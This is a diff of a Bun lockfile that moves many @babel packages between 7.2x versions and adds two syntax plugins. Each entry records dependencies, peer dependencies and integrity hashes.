- "@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
+ "@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.25.9", "", { "dependencies": { "@babel/template": "^7.25.9", "@babel/traverse": "^7.25.9", "@babel/types": "^7.25.9" } }, "sha512-ETzz9UTjQSTmw39GboatdymDq4XIQbR8ySgVrylRhPOFpsd+JrKHIuF0de7GCWmem+T4uC5z7EZguod7Wj4A4g=="],
- "@babel/helpers": ["@babel/helpers@7.28.6", "", { "dependencies": { "@babel/template": "^7.28.6", "@babel/types": "^7.28.6" } }, "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw=="],
+ "@babel/helpers": ["@babel/helpers@7.28.4", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/types": "^7.28.4" } }, "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w=="],
- "@babel/parser": ["@babel/parser@7.29.0", "", { "dependencies": { "@babel/types": "^7.29.0" }, "bin": "./bin/babel-parser.js" }, "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww=="],
+ "@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": { "parser": "bin/babel-parser.js" } }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="],
- "@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="],
+ "@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-ZkRyVkThtxQ/J6nv3JFYv1RYY+JT5BvU0y3k5bWrmuG4woXypRa4PXmm9RhOwodRkYFWqC0C0cqcJ4OqR7kW+g=="],
- "@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="],
+ "@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-MrGRLZxLD/Zjj0gdU15dfs+HH/OXvnw/U4jJD8vpcP2CJQapPEv1IWwjc/qMg7ItBlPwSv1hRBbb7LeuANdcnw=="],
- "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="],
+ "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2qUwwfAFpJLZqxd02YW9btUCZHl+RFvdDkNfZwaIJrvB8Tesjsk8pEQkTvGwZXLqXUx/2oyY3ySRhm6HOXuCug=="],
- "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="],
+ "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", "@babel/plugin-transform-optional-chaining": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-6xWgLZTJXwilVjlnV7ospI3xi+sl8lN8rXXbBD6vYn3UYDlGsag8wrZkKcSI8G6KgqKP7vNFaDgeDnfAABq61g=="],
- "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="],
+ "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-aLnMXYPnzwwqhYSCyXfKkIkYgJ8zv9RK+roo9DkTXz38ynIhd9XCbN08s3MGvqL2MYGVUGdRQLL/JqBIeJhJBg=="],
"@babel/plugin-proposal-private-property-in-object": ["@babel/plugin-proposal-private-property-in-object@7.21.0-placeholder-for-preset-env.2", "", { "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w=="],
@@ -755,7 +729,11 @@
"@babel/plugin-syntax-class-static-block": ["@babel/plugin-syntax-class-static-block@7.14.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.14.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw=="],
- "@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="],
+ "@babel/plugin-syntax-dynamic-import": ["@babel/plugin-syntax-dynamic-import@7.8.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.8.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ=="],
+
+ "@babel/plugin-syntax-export-namespace-from": ["@babel/plugin-syntax-export-namespace-from@7.8.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.8.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q=="],
+
+ "@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.26.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-QCWT5Hh830hK5EQa7XzuqIkQU9tT/whqbDz7kuaZMHFl1inRRg7JnuAEOQ0Ur0QUl0NufCk1msK2BeY79Aj/eg=="],
"@babel/plugin-syntax-import-attributes": ["@babel/plugin-syntax-import-attributes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oFT0FrKHgF53f4vOsZGi2Hh3I35PfSmVs4IBFLFj4dnafP+hIWDLg3VyKmUHfLoLHlyxY4C7DGtmHuJgn+IGww=="],
@@ -785,158 +763,144 @@
"@babel/plugin-syntax-unicode-sets-regex": ["@babel/plugin-syntax-unicode-sets-regex@7.18.6", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.18.6", "@babel/helper-plugin-utils": "^7.18.6" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg=="],
- "@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="],
+ "@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6jmooXYIwn9ca5/RylZADJ+EnSxVUS5sjeJ9UPk6RWRzXCmOJCy6dqItPJFpw2cuCangPK4OYr5uhGKcmrm5Qg=="],
- "@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="],
+ "@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.26.8", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5", "@babel/helper-remap-async-to-generator": "^7.25.9", "@babel/traverse": "^7.26.8" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-He9Ej2X7tNf2zdKMAGOsmg2MrFc+hfoAhd3po4cWfo/NWjzEAKa0oQruj1ROVUdl0e6fb6/kE/G3SSxE0lRJOg=="],
- "@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NREkZsZVJS4xmTr8qzE5y8AfIPqsdQfRuUiLRTEzb7Qii8iFWCyDKaUV2c0rCuh4ljDZ98ALHP/PetiBV2nddA=="],
+ "@babel/plugin-transform-async-to-generator": ["@babel/plugin-transform-async-to-generator@7.25.9", "", { "dependencies": { "@babel/helper-module-imports": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-remap-async-to-generator": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-NT7Ejn7Z/LjUH0Gv5KsBCxh7BH3fbLTV0ptHvpeMvrt3cPThHfJfst9Wrb7S8EvJ7vRTFI7z+VAvFVEQn/m5zQ=="],
- "@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cnqkuOtZLapWYZUYM5rVIdv1nXYuFVIltZ6ZJ7nIj585QsjKM5dhL2Fu/lICXZ1OyIAFc7Qy+bvDAtTXqGrlhg=="],
+ "@babel/plugin-transform-block-scoped-functions": ["@babel/plugin-transform-block-scoped-functions@7.26.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-chuTSY+hq09+/f5lMj8ZSYgCFpppV2CbYrhNFJ1BFoXpiWPnnAb7R0MqrafCpN8E1+YRrtM1MXZHJdIx8B6rMQ=="],
- "@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-45DmULpySVvmq9Pj3X9B+62Xe+DJGov27QravQJU1LLcapR6/10i+gYVAucGGJpHBp5mYxIMK4nDAT/QDLr47g=="],
+ "@babel/plugin-transform-block-scoping": ["@babel/plugin-transform-block-scoping@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1F05O7AYjymAtqbsFETboN1NvBdcnzMerO+zlMyJBEz6WkMdejvGWw9p05iTSjC85RLlBseHHQpYaM4gzJkBGg=="],
- "@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D0VcalChDMtuRvJIu3U/fwWjf8ZMykz5iZsg77Nuj821vCKI3zCyRLwRdWbsuJ/uRwZhZ002QtCqIkwC/ZkvbA=="],
+ "@babel/plugin-transform-class-properties": ["@babel/plugin-transform-class-properties@7.25.9", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-bbMAII8GRSkcd0h0b4X+36GksxuheLFjP65ul9w6C3KgAamI3JqErNgSrosX6ZPj+Mpim5VvEbawXxJCyEUV3Q=="],
- "@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="],
+ "@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.26.0", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-6J2APTs7BDDm+UMqP1useWqhcRAXo0WIoVj26N7kPFB6S73Lgvyka4KTZYIxtgYXiN5HTyRObA72N2iu628iTQ=="],
- "@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="],
+ "@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.25.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-compilation-targets": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-replace-supers": "^7.25.9", "@babel/traverse": "^7.25.9", "globals": "^11.1.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-mD8APIXmseE7oZvZgGABDyM34GUmK45Um2TXiBUt7PnuAxrgoSVf123qUzPxEr/+/BHrRn5NMZCdE2m/1F8DGg=="],
- "@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="],
+ "@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/template": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-HnBegGqXZR12xbcTHlJ9HGxw1OniltT26J5YpfruGqtUHlz/xKf/G2ak9e+t0rVqrjXa9WOhvYPz1ERfMj23AA=="],
- "@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="],
+ "@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-WkCGb/3ZxXepmMiX101nnGiU+1CAdut8oHyEOHxkKuS1qKpU2SMXE2uSvfz8PBuLd49V6LEsbtyPhWC7fnkgvQ=="],
- "@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="],
+ "@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-t7ZQ7g5trIgSRYhI9pIJtRl64KHotutUJsh4Eze5l7olJv+mRSg4/MmbZ0tv1eeqRbdvo/+trvJD/Oc5DmW2cA=="],
- "@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="],
+ "@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-LZxhJ6dvBb/f3x8xwWIuyiAHy56nrRG3PeYTpBkkzkYRRQ6tJLu68lEF5VIqMUZiAV7a8+Tb78nEoMCMcqjXBw=="],
- "@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="],
+ "@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-0UfuJS0EsXbRvKnwcLjFtJy/Sxc5J5jhLHnFhy7u4zih97Hz6tJkLU+O+FMMrNZrosUPxDi6sYxJ/EA8jDiAog=="],
- "@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="],
+ "@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-GCggjexbmSLaFhqsojeugBpeaRIgWNTcgKVq/0qIteFEqY2A+b9QidYadrWlnbWQUrW5fn+mCvf3tr7OeBFTyg=="],
"@babel/plugin-transform-explicit-resource-management": ["@babel/plugin-transform-explicit-resource-management@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-K8nhUcn3f6iB+P3gwCv/no7OdzOZQcKchW6N389V6PD8NUWKZHzndOd9sPDVbMoBsbmjMqlB4L9fm+fEFNVlwQ=="],
- "@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="],
+ "@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.26.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-7CAHcQ58z2chuXPWblnn1K6rLDnDWieghSOEmqQsrBenH0P9InCUtOJYD89pvngljmZlJcz3fcmgYsXFNGa1ZQ=="],
- "@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="],
+ "@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2NsEz+CxzJIVOPx2o9UsW1rXLqtChtLoVnwYHHiB04wS5sgn7mrV45fWMBX0Kk+ub9uXytVYfNP2HjbVbCB3Ww=="],
- "@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="],
+ "@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.26.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Hry8AusVm8LW5BVFgiyUReuoGzPUpdHQQqJY5bZnbbf+ngOHWuCuYFKw/BqaaWlvEUrF91HMhDtEaI1hZzNbLg=="],
- "@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="],
+ "@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.25.9", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8lP+Yxjv14Vc5MuWBpJsoUCd3hD6V9DgBon2FVYL4jJgbnVQ9fTgYmonchzZJOVNgzEgbxp4OwAf6xz6M/14XA=="],
- "@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="],
+ "@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xoTMk0WXceiiIvsaquQQUaLLXSW1KJ159KP87VilruQm0LNNGxWzahxSS6T6i4Zg3ezp4vA4zuwiNUR53qmQAw=="],
- "@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="],
+ "@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-9N7+2lFziW8W9pBl2TzaNht3+pgMIRP74zizeCSrtnSKVdUl8mAjjOP2OOVQAfZ881P2cNjDj1uAMEdeD50nuQ=="],
- "@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="],
+ "@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wI4wRAzGko551Y8eVf6iOY9EouIDTtPb0ByZx+ktDGHwv6bHFimrgJM/2T021txPZ2s4c7bqvHbd+vXG6K948Q=="],
- "@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="],
+ "@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-PYazBVfofCQkkMzh2P6IdIUaCEWni3iYEerAsRWuVd8+jlM1S9S9cz1dF9hIzyoZ8IA3+OwVYIp9v9e+GbgZhA=="],
